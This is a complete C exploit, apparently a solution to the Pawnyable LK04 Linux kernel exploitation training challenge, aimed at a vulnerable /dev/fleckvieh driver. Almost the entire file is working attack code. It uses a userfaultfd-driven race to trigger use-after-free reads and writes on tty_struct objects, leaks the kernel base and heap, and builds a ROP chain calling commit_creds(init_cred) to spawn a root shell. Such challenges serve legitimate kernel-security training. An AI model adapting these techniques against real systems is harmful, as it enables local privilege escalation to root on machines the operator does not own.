Pawnyable LK04

exploit_race_uffd.c

#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004

#define SPRAY_NUM 0x10
#define ofs_tty_ops 0xc3c3c0

#define push_rdx_pop_rsp_pop_ret (kbase + 0x09b13a)
#define commit_creds (kbase + 0x072830)
#define pop_rdi_ret (kbase + 0x09b0ed)
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26)
#define init_cred (kbase + 0xe37480)

void fatal(const char *msg) {
    perror(msg);
    exit(1);
}

typedef struct {
    long id;
    size_t size;
    char *data;
} request_t;

unsigned long user_cs, user_ss, user_sp, user_rflags;

void spawn_shell() {
    puts("[+] returned to user land");
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] got root (uid = %d)\n", uid);
    } else {
        printf("[!] failed to get root (uid: %d)\n", uid);
        exit(-1);
    }
    puts("[*] spawning shell");
    system("/bin/sh");
    exit(0);
}

void save_userland_state() {
    puts("[*] saving user land state");
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
}

int ptmx[SPRAY_NUM];
cpu_set_t pwn_cpu;
int victim;
int fd;
char *buf;
unsigned long kbase, kheap;

int add(char *data, size_t size) {
    request_t req = {.size = size, .data = data};
    int r = ioctl(fd, CMD_ADD, &req);
    if (r == -1)
        fatal("blob_add");
    return r;
}

int del(int id) {
    request_t req = {.id = id};
    int r = ioctl(fd, CMD_DEL, &req);
    if (r == -1)
        fatal("blob_del");
    return r;
}

int get(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_GET, &req);
    if (r == -1)
        fatal("blob_get");
    return r;
}

int set(int id, char *data, size_t size) {
    request_t req = {.id = id, .size = size, .data = data};
    int r = ioctl(fd, CMD_SET, &req);
    if (r == -1)
        fatal("blob_set");
    return r;
}

static void *fault_handler_thread(void *arg) {
    static struct uffd_msg msg;
    struct uffdio_copy copy;
    struct pollfd pollfd;
    long uffd;
    static int fault_cnt = 0;

    puts("[t][*] set cpu affinity");
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    uffd = (long)arg;

    puts("[t][*] waiting for page fault");
    pollfd.fd = uffd;
    pollfd.events = POLLIN;

    while (poll(&pollfd, 1, -1) > 0) {
        if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
            fatal("poll");
        if (read(uffd, &msg, sizeof(msg)) <= 0)
            fatal("read(uffd)");
        assert(msg.event == UFFD_EVENT_PAGEFAULT);
        puts("[t][+] caught page fault");

        switch (fault_cnt++) {
        case 0:
        case 1: {
            puts("[t][*] UAF read");
            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            copy.src = (unsigned long)buf;
            break;
        }
        case 2: {
            puts("[t][*] UAF write");
            printf("[t][*] spraying %d fake tty_struct objects (blob)\n", 0x100);
            for (int i = 0; i < 0x100; i++)
                add(buf, 0x400);

            del(victim);
            printf("[t][*] spraying %d tty_struct objects\n", SPRAY_NUM);
            for (int i = 0; i < SPRAY_NUM; i++) {
                ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
                if (ptmx[i] == -1)
                    fatal("/dev/ptmx");
            }
            copy.src = (unsigned long)buf;
            break;
        }
        default:
            fatal("[t][-] unexpected page fault");
        }

        copy.dst = (unsigned long)msg.arg.pagefault.address;
        copy.len = 0x1000;
        copy.mode = 0;
        copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &copy) == -1)
            fatal("ioctl(UFFDIO_COPY)");
    }
    return NULL;
}

int register_uffd(void *addr, size_t len) {
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    long uffd;
    pthread_t th;

    puts("[*] registering userfaultfd");

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        fatal("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        fatal("ioctl(UFFDIO_API)");

    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        fatal("UFFDIO_REGISTER");

    puts("[*] spawning a fault handler thread");
    if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd))
        fatal("pthread_create");

    return 0;
}

int main() {
    save_userland_state();
    puts("[*] set cpu affinity");
    CPU_ZERO(&pwn_cpu);
    CPU_SET(0, &pwn_cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
        fatal("sched_setaffinity");

    fd = open("/dev/fleckvieh", O_RDWR);
    if (fd == -1)
        fatal("/dev/fleckvieh");

    void *page;
    page = mmap(NULL, 0x3000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED)
        fatal("mmap");
    printf("[+] mmap three pages at 0x%llx\n", (long long unsigned int)page);

    register_uffd(page, 0x3000);

    buf = (char *)malloc(0x1000);

    puts("[*] UAF#1 leak kbase");
    puts("[*] reading 0x20 bytes from victim blob to page#1");
    victim = add(buf, 0x400);
    get(victim, page, 0x20);
    kbase = *(unsigned long *)&((char *)page)[0x18] - ofs_tty_ops;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    puts("[*] UAF#2 leak kheap");
    victim = add(buf, 0x400);
    puts("[*] reading 0x400 bytes from victim blob to page#2");
    get(victim, page + 0x1000, 0x400);
    kheap = *(unsigned long *)(page + 0x1038) - 0x38;
    for (int i = 0; i < SPRAY_NUM; i++)
        close(ptmx[i]);

    printf("[+] leaked kbase: 0x%lx, kheap: 0x%lx\n", kbase, kheap);

    puts("[*] crafting fake tty_struct in buf");
    memcpy(buf, page + 0x1000, 0x400);
    unsigned long *tty = (unsigned long *)buf;
    tty[0] = 0x0000000100005401;              // magic
    tty[2] = *(unsigned long *)(page + 0x10); // dev
    tty[3] = kheap;                           // ops
    tty[12] = push_rdx_pop_rsp_pop_ret;       // ops->ioctl
    puts("[*] crafting rop chain");
    unsigned long *chain = (unsigned long *)(buf + 0x100);
    *chain++ = 0xdeadbeef; // pop
    *chain++ = pop_rdi_ret;
    *chain++ = init_cred;
    *chain++ = commit_creds;
    *chain++ = swapgs_restore_regs_and_return_to_usermode;
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = (unsigned long)&spawn_shell;
    *chain++ = user_cs;
    *chain++ = user_rflags;
    *chain++ = user_sp;
    *chain++ = user_ss;

    puts("[*] UAF#3 write rop chain");
    victim = add(buf, 0x400);
    set(victim, page + 0x2000, 0x400);

    puts("[*] invoking ioctl to hijack control flow");
    for (int i = 0; i < SPRAY_NUM; i++)
        ioctl(ptmx[i], 0, kheap + 0x100);

    getchar();
    return 0;
}